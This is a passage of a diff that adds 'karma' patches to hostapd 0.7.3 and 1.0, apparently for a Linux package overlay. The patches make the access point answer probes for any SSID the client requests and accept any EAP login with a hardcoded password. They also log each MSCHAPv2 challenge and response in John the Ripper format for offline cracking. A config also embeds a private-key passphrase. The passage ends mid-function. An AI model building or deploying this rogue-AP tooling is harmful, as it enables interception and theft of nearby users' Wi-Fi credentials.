++OBJS += ../src/karma/karma.o
+
+ ifndef CONFIG_NO_DUMP_STATE
+ # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to
+diff -urN hostapd-0.7.3.orig/hostapd/hostapd.conf hostapd-0.7.3/hostapd/hostapd.conf
+--- hostapd-0.7.3.orig/hostapd/hostapd.conf 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/hostapd.conf 2011-05-02 15:59:46.788000008 +0800
+@@ -3,7 +3,7 @@
+
+ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+ # management frames); ath0 for madwifi
+-interface=wlan0
++interface=wlan1
+
+ # In case of madwifi, atheros, and nl80211 driver interfaces, an additional
+ # configuration parameter, bridge, may be used to notify hostapd if the
+@@ -23,6 +23,7 @@
+ # Use driver=none if building hostapd as a standalone RADIUS server that does
+ # not control any wireless/wired driver.
+ # driver=hostap
++driver=nl80211
+
+ # hostapd event logger configuration
+ #
+@@ -88,7 +89,7 @@
+ # Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+ # Set as needed to indicate country in which device is operating.
+ # This can limit available channels and transmit power.
+-#country_code=US
++country_code=US
+
+ # Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+ # channels and transmit power levels based on the regulatory limits. The
+@@ -99,14 +100,14 @@
+
+ # Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g,
+ # Default: IEEE 802.11b
+-hw_mode=a
++hw_mode=b
+
+ # Channel number (IEEE 802.11)
+ # (default: 0, i.e., not set)
+ # Please note that some drivers (e.g., madwifi) do not use this value from
+ # hostapd and the channel will need to be configuration separately with
+ # iwconfig.
+-channel=60
++channel=1
+
+ # Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
+ beacon_int=100
+@@ -410,7 +411,7 @@
+ ##### IEEE 802.1X-2004 related configuration ##################################
+
+ # Require IEEE 802.1X authorization
+-#ieee8021x=1
++ieee8021x=1
+
+ # IEEE 802.1X/EAPOL version
+ # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+@@ -418,7 +419,7 @@
+ # the new version number correctly (they seem to drop the frames completely).
+ # In order to make hostapd interoperate with these clients, the version number
+ # can be set to the older version (1) with this configuration value.
+-#eapol_version=2
++eapol_version=1
+
+ # Optional displayable message sent with EAP Request-Identity. The first \0
+ # in this string will be converted to ASCII-0 (nul). This can be used to
+@@ -460,16 +461,18 @@
+ # Use integrated EAP server instead of external RADIUS authentication
+ # server. This is also needed if hostapd is configured to act as a RADIUS
+ # authentication server.
+-eap_server=0
++eap_server=1
+
+ # Path for EAP server user database
+ #eap_user_file=/etc/hostapd.eap_user
+
+ # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #ca_cert=/etc/hostapd.ca.pem
++ca_cert=/etc/hostapd/sf_bundle.pem
+
+ # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #server_cert=/etc/hostapd.server.pem
++server_cert=/etc/hostapd/INTRANET.pem
+
+ # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+ # This may point to the same file as server_cert if both certificate and key
+@@ -477,9 +480,11 @@
+ # used by commenting out server_cert and specifying the PFX file as the
+ # private_key.
+ #private_key=/etc/hostapd.server.prv
++private_key=/etc/hostapd/INTRANET.pem
+
+ # Passphrase for private key
+ #private_key_passwd=secret passphrase
++private_key_passwd=Cricket8
+
+ # Enable CRL verification.
+ # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+@@ -674,6 +679,7 @@
+ # bit0 = WPA
+ # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+ #wpa=1
++wpa=3
+
+ # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+ # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+@@ -695,6 +701,7 @@
+ # added to enable SHA256-based stronger algorithms.
+ # (dot11RSNAConfigAuthenticationSuitesTable)
+ #wpa_key_mgmt=WPA-PSK WPA-EAP
++wpa_key_mgmt=WPA-EAP
+
+ # Set of accepted cipher suites (encryption algorithms) for pairwise keys
+ # (unicast packets). This is a space separated list of algorithms:
+diff -urN hostapd-0.7.3.orig/hostapd/main.c hostapd-0.7.3/hostapd/main.c
+--- hostapd-0.7.3.orig/hostapd/main.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/main.c 2011-05-02 16:01:06.320000003 +0800
+@@ -36,6 +36,10 @@
+ extern int wpa_debug_show_keys;
+ extern int wpa_debug_timestamp;
+
++/* Karma Mode */
++#include "karma/karma.h"
++int karma_beacon_respond = 0;
++int karma_eap_auth = 0;
+
+ struct hapd_interfaces {
+ size_t count;
+@@ -458,7 +462,7 @@
+ show_version();
+ fprintf(stderr,
+ "\n"
+- "usage: hostapd [-hdBKtv] [-P <PID file>] "
++ "usage: hostapd [-hdBKtvRA] [-P <PID file>] "
+ "<configuration file(s)>\n"
+ "\n"
+ "options:\n"
+@@ -468,7 +472,9 @@
+ " -P PID file\n"
+ " -K include key data in debug messages\n"
+ " -t include timestamps in some debug messages\n"
+- " -v show hostapd version\n");
++ " -v show hostapd version\n"
++ " -R [karma] respond to all probes using requested SSID\n"
++ " -A [karma] enable authentication attempt logging\n");
+
+ exit(1);
+ }
+@@ -486,7 +492,7 @@
+ return -1;
+
+ for (;;) {
+- c = getopt(argc, argv, "BdhKP:tv");
++ c = getopt(argc, argv, "BdhKP:tvRA");
+ if (c < 0)
+ break;
+ switch (c) {
+@@ -511,6 +517,12 @@
+ case 't':
+ wpa_debug_timestamp++;
+ break;
++ case 'R':
++ karma_beacon_respond++;
++ break;
++ case 'A':
++ karma_eap_auth++;
++ break;
+ case 'v':
+ show_version();
+ exit(1);
+diff -urN hostapd-0.7.3.orig/src/ap/beacon.c hostapd-0.7.3/src/ap/beacon.c
+--- hostapd-0.7.3.orig/src/ap/beacon.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/beacon.c 2011-05-02 15:59:46.789000006 +0800
+@@ -14,6 +14,11 @@
+ * See README and COPYING for more details.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -250,7 +255,24 @@
+ if (sta)
+ sta->ssid_probe = &hapd->conf->ssid;
+ }
+-
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ else if (karma_beacon_respond) {
++ char ssid_txt[33];
++ char *message = NULL;
++
++ ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len);
++
++ if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0)
++ wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n");
++
++ karma_logger(0, message);
++ free(message);
++
++ ssid = (char *)elems.ssid;
++ ssid_len = elems.ssid_len;
++ //if (sta)
++ // sta->ssid_probe = &elems.ssid;
++ }
+ if (!ssid) {
+ if (!(mgmt->da[0] & 0x01)) {
+ char ssid_txt[33];
+diff -urN hostapd-0.7.3.orig/src/ap/hostapd.c hostapd-0.7.3/src/ap/hostapd.c
+--- hostapd-0.7.3.orig/src/ap/hostapd.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/hostapd.c 2011-05-02 15:59:46.789000006 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #include "utils/common.h"
+diff -urN hostapd-0.7.3.orig/src/ap/ieee802_11.c hostapd-0.7.3/src/ap/ieee802_11.c
+--- hostapd-0.7.3.orig/src/ap/ieee802_11.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/ieee802_11.c 2011-05-02 15:59:46.790000004 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -533,8 +535,9 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server.c hostapd-0.7.3/src/eap_server/eap_server.c
+--- hostapd-0.7.3.orig/src/eap_server/eap_server.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/eap_server/eap_server.c 2011-05-02 15:59:46.791000002 +0800
+@@ -18,6 +18,11 @@
+ * backend_auth configuration variable to TRUE.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -99,24 +104,51 @@
+ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
+ int phase2)
+ {
+- struct eap_user *user;
+-
+- if (sm == NULL || sm->eapol_cb == NULL ||
+- sm->eapol_cb->get_eap_user == NULL)
+- return -1;
+-
+- eap_user_free(sm->user);
++ struct eap_user *user;
++ char *username = NULL;
++ char *message = NULL;
++
++ eap_user_free(sm->user);
+ sm->user = NULL;
+
+- user = os_zalloc(sizeof(*user));
+- if (user == NULL)
+- return -1;
++ user = os_zalloc(sizeof(*user));
++ if (user == NULL)
++ return -1;
++
++ /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun <jmk@foofus.net> */
++ if (karma_eap_auth)
++ {
++ user->methods[0].vendor = sm->respVendor;
++ user->password = os_zalloc(9);
++ strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */
++ user->password_len = 8;
++
++ if (phase2)
++ user->methods[0].method = EAP_TYPE_MSCHAPV2;
++ else // TODO: what happens if we propose LEAP?
++ user->methods[0].method = EAP_TYPE_PEAP;
++
++ username = os_zalloc(sm->identity_len + 1);
++ strncpy(username, (char *)sm->identity, (size_t)sm->identity_len);
++
++ if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0)
++ printf("Error allocating memory for request message.\n");
++
++ karma_logger(0, message);
++ free(message);
++ }
++ else
++ {
++ if (sm == NULL || sm->eapol_cb == NULL ||
++ sm->eapol_cb->get_eap_user == NULL)
++ return -1;
+
+- if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+- identity_len, phase2, user) != 0) {
+- eap_user_free(user);
+- return -1;
+- }
++ if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
++ identity_len, phase2, user) != 0) {
++ eap_user_free(user);
++ return -1;
++ }
++ }
+
+ sm->user = user;
+ sm->user_eap_method_index = 0;
+diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c
+--- hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c 2011-05-02 15:59:46.792000002 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -289,13 +291,15 @@
+ struct wpabuf *respData)
+ {
+ struct eap_mschapv2_hdr *resp;
+- const u8 *pos, *end, *peer_challenge, *nt_response, *name;
++ const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name;
+ u8 flags;
+ size_t len, name_len, i;
+ u8 expected[24];
+ const u8 *username, *user;
+ size_t username_len, user_len;
+ int res;
++ char *auth_creds = NULL;
++ int auth_creds_len = 0;
+
+ pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ &len);
+@@ -335,6 +339,38 @@
+ wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
+ wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
+
++ /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun <jmk@foofus.net> */
++ /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */
++ if (karma_eap_auth)
++ {
++ auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2;
++ auth_creds = os_malloc(auth_creds_len + 1);
++ memset(auth_creds, 0, auth_creds_len + 1);
++
++ strncpy(auth_creds, (char *)sm->identity, sm->identity_len);
++ sprintf(auth_creds + sm->identity_len, ":::");
++
++ /* Authenticator Challenge */
++ auth_challenge = data->auth_challenge;
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":");
++
++ /* MSCHAPv2 Response */
++ for (i=0; i<24; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":");
++
++ /* Peer Challenge */
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]);
++
++ karma_logger(1, auth_creds);
++ free(auth_creds);
++ }
++
+ /* MSCHAPv2 does not include optional domain name in the
+ * challenge-response calculation, so remove domain prefix
+ * (if present). */
+diff -urN hostapd-0.7.3.orig/src/karma/karma.c hostapd-0.7.3/src/karma/karma.c
+--- hostapd-0.7.3.orig/src/karma/karma.c 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-0.7.3/src/karma/karma.c 2011-05-02 15:59:46.792000002 +0800
+@@ -0,0 +1,43 @@
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "common.h"
++#include "includes.h"
++#include "trace.h"
++
++#include "karma/karma.h"
++
++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */
++extern void karma_logger(int type, char *message)
++{
++ FILE *logfd;
++ time_t cur_time;
++ struct tm *tm_ptr;
++ char time_buf[256];
++ /* General: probe requests, username requests */
++ logfd = fopen("./hostapd-karma.txt", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n");
++ logfd = stderr;
++ }
++
++ cur_time = time(NULL);
++ (void) time(&cur_time);
++ tm_ptr = localtime(&cur_time);
++ strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr);
++ fprintf(logfd, "%s:%s\n", time_buf, message);
++ fprintf(stderr, "[karma] %s:%s\n", time_buf, message);
++ fclose(logfd);
++
++ /* MSCHAPv2 Challenge/Response */
++ if (type == 1)
++ {
++ logfd = fopen("./hostapd-karma.lc", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n");
++ logfd = stderr;
++ }
++ fprintf(logfd, "%s\n", message);
++ fclose(logfd);
++ }
++}
+diff -urN hostapd-0.7.3.orig/src/karma/karma.h hostapd-0.7.3/src/karma/karma.h
+--- hostapd-0.7.3.orig/src/karma/karma.h 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-0.7.3/src/karma/karma.h 2011-05-02 15:59:46.792000002 +0800
+@@ -0,0 +1,3 @@
++extern int karma_beacon_respond;
++extern int karma_eap_auth;
++extern void karma_logger(int, char*);
+diff -urN hostapd-0.7.3.orig/src/utils/wpa_debug.c hostapd-0.7.3/src/utils/wpa_debug.c
+--- hostapd-0.7.3.orig/src/utils/wpa_debug.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/utils/wpa_debug.c 2011-05-02 15:59:46.793000003 +0800
+@@ -22,6 +22,8 @@
+ static int wpa_debug_syslog = 0;
+ #endif /* CONFIG_DEBUG_SYSLOG */
+
++/* Karma Mode */
++#include "karma/karma.h"
+
+ #ifdef CONFIG_DEBUG_FILE
+ static FILE *out_file = NULL;
diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
new file mode 100644
index 00000000..d16424d1
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
@@ -0,0 +1,1199 @@
+diff -Nur hostapd-1.0/hostapd/.config hostapd-1.0-karma/hostapd/.config
+--- hostapd-1.0/hostapd/.config 1970-01-01 01:00:00.000000000 +0100
++++ hostapd-1.0-karma/hostapd/.config 2012-08-06 16:55:02.000000000 +0100
+@@ -0,0 +1,246 @@
++# Example hostapd build time configuration
++#
++# This file lists the configuration options that are used when building the
++# hostapd binary. All lines starting with # are ignored. Configuration option
++# lines must be commented out complete, if they are not to be included, i.e.,
++# just setting VARIABLE=n is not disabling that variable.
++#
++# This file is included in Makefile, so variables like CFLAGS and LIBS can also
++# be modified from here. In most cass, these lines should use += in order not
++# to override previous values of the variables.
++
++# Driver interface for Host AP driver
++CONFIG_DRIVER_HOSTAP=y
++
++# Driver interface for wired authenticator
++#CONFIG_DRIVER_WIRED=y
++
++# Driver interface for madwifi driver
++#CONFIG_DRIVER_MADWIFI=y
++#CFLAGS += -I../../madwifi # change to the madwifi source directory
++
++# Driver interface for drivers using the nl80211 kernel interface
++CONFIG_DRIVER_NL80211=y
++
++# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
++#CONFIG_DRIVER_BSD=y
++#CFLAGS += -I/usr/local/include
++#LIBS += -L/usr/local/lib
++#LIBS_p += -L/usr/local/lib
++#LIBS_c += -L/usr/local/lib
++
++# Driver interface for no driver (e.g., RADIUS server only)
++#CONFIG_DRIVER_NONE=y
++
++# IEEE 802.11F/IAPP
++CONFIG_IAPP=y
++
++# WPA2/IEEE 802.11i RSN pre-authentication
++CONFIG_RSN_PREAUTH=y
++
++# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS)
++CONFIG_PEERKEY=y
++
++# IEEE 802.11w (management frame protection)
++# This version is an experimental implementation based on IEEE 802.11w/D1.0
++# draft and is subject to change since the standard has not yet been finalized.
++# Driver support is also needed for IEEE 802.11w.
++#CONFIG_IEEE80211W=y
++
++# Integrated EAP server
++CONFIG_EAP=y
++
++# EAP-MD5 for the integrated EAP server
++CONFIG_EAP_MD5=y
++
++# EAP-TLS for the integrated EAP server
++CONFIG_EAP_TLS=y
++
++# EAP-MSCHAPv2 for the integrated EAP server
++CONFIG_EAP_MSCHAPV2=y
++
++# EAP-PEAP for the integrated EAP server
++CONFIG_EAP_PEAP=y
++
++# EAP-GTC for the integrated EAP server
++CONFIG_EAP_GTC=y
++
++# EAP-TTLS for the integrated EAP server
++CONFIG_EAP_TTLS=y
++
++# EAP-SIM for the integrated EAP server
++#CONFIG_EAP_SIM=y
++
++# EAP-AKA for the integrated EAP server
++#CONFIG_EAP_AKA=y
++
++# EAP-AKA' for the integrated EAP server
++# This requires CONFIG_EAP_AKA to be enabled, too.
++#CONFIG_EAP_AKA_PRIME=y
++
++# EAP-PAX for the integrated EAP server
++#CONFIG_EAP_PAX=y
++
++# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
++#CONFIG_EAP_PSK=y
++
++# EAP-pwd for the integrated EAP server (secure authentication with a password)
++#CONFIG_EAP_PWD=y
++
++# EAP-SAKE for the integrated EAP server
++#CONFIG_EAP_SAKE=y
++
++# EAP-GPSK for the integrated EAP server
++#CONFIG_EAP_GPSK=y
++# Include support for optional SHA256 cipher suite in EAP-GPSK
++#CONFIG_EAP_GPSK_SHA256=y
++
++# EAP-FAST for the integrated EAP server
++# Note: Default OpenSSL package does not include support for all the
++# functionality needed for EAP-FAST. If EAP-FAST is enabled with OpenSSL,
++# the OpenSSL library must be patched (openssl-0.9.9-session-ticket.patch)
++# to add the needed functions.
++#CONFIG_EAP_FAST=y
++
++# Wi-Fi Protected Setup (WPS)
++#CONFIG_WPS=y
++# Enable WSC 2.0 support
++#CONFIG_WPS2=y
++# Enable UPnP support for external WPS Registrars
++#CONFIG_WPS_UPNP=y
++
++# EAP-IKEv2
++#CONFIG_EAP_IKEV2=y
++
++# Trusted Network Connect (EAP-TNC)
++#CONFIG_EAP_TNC=y
++
++# PKCS#12 (PFX) support (used to read private key and certificate file from
++# a file that usually has extension .p12 or .pfx)
++CONFIG_PKCS12=y
++
++# RADIUS authentication server. This provides access to the integrated EAP
++# server from external hosts using RADIUS.
++#CONFIG_RADIUS_SERVER=y
++
++# Build IPv6 support for RADIUS operations
++CONFIG_IPV6=y
++
++# IEEE Std 802.11r-2008 (Fast BSS Transition)
++#CONFIG_IEEE80211R=y
++
++# Use the hostapd's IEEE 802.11 authentication (ACL), but without
++# the IEEE 802.11 Management capability (e.g., madwifi or FreeBSD/net80211)
++#CONFIG_DRIVER_RADIUS_ACL=y
++
++# IEEE 802.11n (High Throughput) support
++#CONFIG_IEEE80211N=y
++
++# Remove debugging code that is printing out debug messages to stdout.
++# This can be used to reduce the size of the hostapd considerably if debugging
++# code is not needed.
++#CONFIG_NO_STDOUT_DEBUG=y
++
++# Add support for writing debug log to a file: -f /tmp/hostapd.log
++# Disabled by default.
++CONFIG_DEBUG_FILE=y
++
++# Remove support for RADIUS accounting
++#CONFIG_NO_ACCOUNTING=y
++
++# Remove support for RADIUS
++#CONFIG_NO_RADIUS=y
++
++# Remove support for VLANs
++#CONFIG_NO_VLAN=y
++
++# Enable support for fully dynamic VLANs. This enables hostapd to
++# automatically create bridge and VLAN interfaces if necessary.
++#CONFIG_FULL_DYNAMIC_VLAN=y
++
++# Remove support for dumping state into a file on SIGUSR1 signal
++# This can be used to reduce binary size at the cost of disabling a debugging
++# option.
++#CONFIG_NO_DUMP_STATE=y
++
++# Enable tracing code for developer debugging
++# This tracks use of memory allocations and other registrations and reports
++# incorrect use with a backtrace of call (or allocation) location.
++#CONFIG_WPA_TRACE=y
++# For BSD, comment out these.
++#LIBS += -lexecinfo
++#LIBS_p += -lexecinfo
++#LIBS_c += -lexecinfo
++
++# Use libbfd to get more details for developer debugging
++# This enables use of libbfd to get more detailed symbols for the backtraces
++# generated by CONFIG_WPA_TRACE=y.
++#CONFIG_WPA_TRACE_BFD=y
++# For BSD, comment out these.
++#LIBS += -lbfd -liberty -lz
++#LIBS_p += -lbfd -liberty -lz
++#LIBS_c += -lbfd -liberty -lz
++
++# hostapd depends on strong random number generation being available from the
++# operating system. os_get_random() function is used to fetch random data when
++# needed, e.g., for key generation. On Linux and BSD systems, this works by
++# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
++# properly initialized before hostapd is started. This is important especially
++# on embedded devices that do not have a hardware random number generator and
++# may by default start up with minimal entropy available for random number
++# generation.
++#
++# As a safety net, hostapd is by default trying to internally collect
++# additional entropy for generating random data to mix in with the data
++# fetched from the OS. This by itself is not considered to be very strong, but
++# it may help in cases where the system pool is not initialized properly.
++# However, it is very strongly recommended that the system pool is initialized
++# with enough entropy either by using hardware assisted random number
++# generator or by storing state over device reboots.
++#
++# hostapd can be configured to maintain its own entropy store over restarts to
++# enhance random number generation. This is not perfect, but it is much more
++# secure than using the same sequence of random numbers after every reboot.
++# This can be enabled with -e<entropy file> command line option. The specified
++# file needs to be readable and writable by hostapd.
++#
++# If the os_get_random() is known to provide strong random data (e.g., on
++# Linux/BSD, the board in question is known to have reliable source of random
++# data from /dev/urandom), the internal hostapd random pool can be disabled.
++# This will save some in binary size and CPU use. However, this should only be
++# considered for builds that are known to be used on devices that meet the
++# requirements described above.
++#CONFIG_NO_RANDOM_POOL=y
++
++# Select TLS implementation
++# openssl = OpenSSL (default)
++# gnutls = GnuTLS
++# internal = Internal TLSv1 implementation (experimental)
++# none = Empty template
++#CONFIG_TLS=openssl
++
++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
++# can be enabled to get a stronger construction of messages when block ciphers
++# are used.
++#CONFIG_TLSV11=y
++
++# If CONFIG_TLS=internal is used, additional library and include paths are
++# needed for LibTomMath. Alternatively, an integrated, minimal version of
++# LibTomMath can be used. See beginning of libtommath.c for details on benefits
++# and drawbacks of this option.
++#CONFIG_INTERNAL_LIBTOMMATH=y
++#ifndef CONFIG_INTERNAL_LIBTOMMATH
++#LTM_PATH=/usr/src/libtommath-0.39
++#CFLAGS += -I$(LTM_PATH)
++#LIBS += -L$(LTM_PATH)
++#LIBS_p += -L$(LTM_PATH)
++#endif
++# At the cost of about 4 kB of additional binary size, the internal LibTomMath
++# can be configured to include faster routines for exptmod, sqr, and div to
++# speed up DH and RSA calculation considerably
++#CONFIG_INTERNAL_LIBTOMMATH_FAST=y
++
++# Interworking (IEEE 802.11u)
++# This can be used to enable functionality to improve interworking with
++# external networks.
++#CONFIG_INTERWORKING=y
+diff -Nur hostapd-1.0/hostapd/config_file.c hostapd-1.0-karma/hostapd/config_file.c
+--- hostapd-1.0/hostapd/config_file.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/config_file.c 2012-08-06 12:20:55.000000000 +0100
+@@ -122,6 +122,63 @@
+ }
+
+
++// KARMA
++static int hostapd_config_read_karma_ssid(const char *fname, struct hostapd_config *conf) {
++ FILE *f;
++ char buf[33], *pos;
++ int line = 0;
++ karma_ssid_t *karma_ssid;
++
++ if (!fname)
++ return 0;
++
++ f = fopen(fname, "r");
++ if (!f) {
++ wpa_printf(MSG_ERROR, "MAC list file '%s' not found.", fname);
++ return -1;
++ }
++
++ while (fgets(buf, sizeof(buf), f)) {
++ line++;
++
++ if (buf[0] == '#')
++ continue;
++ pos = buf;
++ while (*pos != '\0') {
++ if (*pos == '\n') {
++ *pos = '\0';
++ break;
++ }
++ pos++;
++ }
++ if (buf[0] == '\0')
++ continue;
++
++ wpa_printf(MSG_DEBUG, "Found ssid in file: %s", buf);
++
++ if (strlen (buf) > HOSTAPD_MAX_SSID_LEN) {
++ wpa_printf(MSG_ERROR, "ESSID too long '%s' at "
++ "line %d in '%s'", buf, line, fname);
++ fclose(f);
++ return -1;
++ }
++
++ karma_ssid = os_malloc (sizeof (karma_ssid_t));
++ karma_ssid->length = strlen(buf);
++ karma_ssid->ssid = os_malloc (karma_ssid->length + 1);
++ os_memcpy(karma_ssid->ssid, buf, strlen(buf) + 1);
++ karma_ssid->next = conf->karma_list;
++ conf->karma_list = karma_ssid;
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY");
++ }
++
++ fclose(f);
++
++ return 0;
++}
++
++// END KARMA
++
+ static int hostapd_config_read_maclist(const char *fname,
+ struct mac_acl_entry **acl, int *num)
+ {
+@@ -1216,6 +1273,17 @@
+
+ bss = conf->last_bss = conf->bss;
+
++ // KARMA
++ // default Karma to off
++ conf->enable_karma = 0;
++
++ // default to black list so everything is accepted
++ conf->karma_black_white = 1;
++
++ // Nothing in the black/white list to start with
++ conf->karma_list = NULL;
++ // KARMA END
++
+ while (fgets(buf, sizeof(buf), f)) {
+ bss = conf->last_bss;
+ line++;
+@@ -1279,6 +1347,30 @@
+ bss->logger_syslog = atoi(pos);
+ } else if (os_strcmp(buf, "logger_stdout") == 0) {
+ bss->logger_stdout = atoi(pos);
++ // KARMA START
++ } else if (os_strcmp(buf, "karma_ssid_file") == 0) {
++ if (hostapd_config_read_karma_ssid (pos, conf))
++ {
++ wpa_printf(MSG_ERROR, "Line %d: Failed to "
++ "read karma_ssid_file '%s'",
++ line, pos);
++ errors++;
++ }
++ } else if (os_strcmp(buf, "karma_black_white") == 0) {
++ int val = atoi(pos);
++ conf->karma_black_white = (val != 0);
++ if (conf->karma_black_white == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA: White list mode");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA: Black list mode");
++ }
++ } else if (os_strcmp(buf, "enable_karma") == 0) {
++ int val = atoi(pos);
++ conf->enable_karma = (val != 0);
++ if (conf->enable_karma) {
++ wpa_printf(MSG_DEBUG, "KARMA: Enabled");
++ }
++ // KARMA END
+ } else if (os_strcmp(buf, "dump_file") == 0) {
+ bss->dump_log_name = os_strdup(pos);
+ } else if (os_strcmp(buf, "ssid") == 0) {
+diff -Nur hostapd-1.0/hostapd/ctrl_iface.c hostapd-1.0-karma/hostapd/ctrl_iface.c
+--- hostapd-1.0/hostapd/ctrl_iface.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/ctrl_iface.c 2012-08-06 14:38:25.000000000 +0100
+@@ -39,6 +39,7 @@
+ #include "wps/wps_defs.h"
+ #include "wps/wps.h"
+ #include "ctrl_iface.h"
++#include "ap/beacon.h"
+
+
+ struct wpa_ctrl_dst {
+@@ -267,6 +268,170 @@
+ return 0;
+ }
+
++// KARMA START
++
++static int hostapd_ctrl_iface_karma_get_black_white (struct hostapd_data *hapd)
++{
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE BLACK/WHITE QUERY (%i) x", hapd->iconf->karma_black_white);
++ return hapd->iconf->karma_black_white;
++}
++static int hostapd_ctrl_iface_karma_get_state (struct hostapd_data *hapd)
++{
